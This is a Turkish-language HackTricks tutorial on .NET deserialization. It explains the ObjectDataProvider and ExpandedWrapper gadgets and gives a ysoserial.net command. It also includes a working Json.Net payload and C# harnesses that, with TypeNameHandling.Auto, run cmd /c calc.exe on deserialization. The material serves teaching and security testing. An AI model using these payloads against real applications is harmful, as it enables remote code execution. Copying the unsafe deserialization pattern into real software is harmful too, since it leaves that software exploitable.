Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Bu yazı, ObjectDataProvider gadget'ının nasıl sömürüldüğünü anlamak ve bu gadget ile Nesne serileştirme kütüphaneleri Json.Net ve xmlSerializer'ın nasıl kötüye kullanılabileceğini anlamak için ayrılmıştır.

ObjectDataProvider Gadget

Belgelerden: ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarmalar ve oluşturur. Evet, garip bir açıklama, o zaman bu sınıfın neden bu kadar ilginç olduğuna bakalım: Bu sınıf, keyfi bir nesneyi sarmamıza izin verir, MethodParameters kullanarak keyfi parametreler belirlememize ve ardından bu keyfi parametreler kullanılarak belirtilen keyfi nesnenin keyfi fonksiyonunu çağırmamıza izin verir. Bu nedenle, keyfi nesne, keyfi parametreler kullanarak belirtilen keyfi fonksiyonu çağıracak ve serileştirilirken bu fonksiyonu çalıştıracaktır.

Bu nasıl mümkün

ObjectDataProvider'ın tanımlandığı ve uygulandığı System.Windows.Data ad alanı, C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF konumundaki PresentationFramework.dll içinde bulunur.

dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method adı kodunu görüyoruz.

MethodName ayarlandığında base.Refresh() çağrıldığını gözlemleyebilirsiniz, şimdi bu işlevin ne yaptığına bakalım:

Tamam, şimdi this.BeginQuery()'nin ne yaptığını görmeye devam edelim. BeginQuery, ObjectDataProvider tarafından geçersiz kılınmış ve şunu yapar:

Kodun sonunda this.QueryWorke(null)'ı çağırdığını unutmayın. Bu işlevin ne yaptığını görelim:

Bu, QueryWorker işlevinin tam kodu değil, ancak ilginç kısmını gösteriyor: Kod, this.InvokeMethodOnInstance(out ex);'ı çağırıyor, bu, belirtilen yöntemin çağrıldığı satır. Eğer sadece MethodName ayarlayarak bunun çalıştırılacağını kontrol etmek isterseniz, bu kodu çalıştırabilirsiniz:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Not edin, System.Windows.Data'ı yüklemek için C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll adresini referans olarak eklemeniz gerektiğini unutmayın.

ExpandedWrapper

Önceki açıktan yararlanarak, nesnenin bir ObjectDataProvider örneği olarak serileştirileceği durumlar olacaktır (örneğin DotNetDuke açığı, XmlSerializer kullanılarak nesne GetType kullanılarak serileştirildi). Ardından, ObjectDataProvider örneğine sarılan nesne türü hakkında bilgi sahibi olmayacaksınız (Process örneği için). DotNetDuke açığı hakkında daha fazla bilgiyi buradan bulabilirsiniz.

Bu sınıf, verilen bir örnekte kapsülenen nesnelerin türlerini belirtmeye olanak tanır. Bu nedenle, bu sınıf, bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türüne kapsüllüyebilir ve ihtiyacımız olan özellikleri sağlayabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters). Bu, önceki sunulan durumlar gibi durumlar için çok yararlıdır, çünkü _ObjectDataProvider** öğesini bir **ExpandedWrapper _ örneğinin içine sarabiliriz ve bu sınıf serileştirildiğinde MethodName içinde belirtilen işlevi yürütecek OjectDataProvider öğesini oluşturacaktır.

Bu sarmalayıcıyı aşağıdaki kodla kontrol edebilirsiniz:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Resmi web sayfasında bu kütüphanenin Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği belirtilmektedir. Dolayısıyla, eğer ObjectDataProvider cihazını deserialize edebilirsek, bir nesneyi deserialize ederek bir Uzaktan Kod Çalıştırma (RCE) saldırısı gerçekleştirebiliriz.

Json.Net örneği

Öncelikle bu kütüphaneyi kullanarak bir nesneyi serileştirmek/deserileştirmek için bir örneğe bakalım:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net'i Kötüye Kullanma

ysoserial.net kullanarak saldırıyı oluşturdum:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Bu kodda saldırıyı test edebilirsiniz, sadece çalıştırın ve bir hesap makinesinin yürütüldüğünü göreceksiniz:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated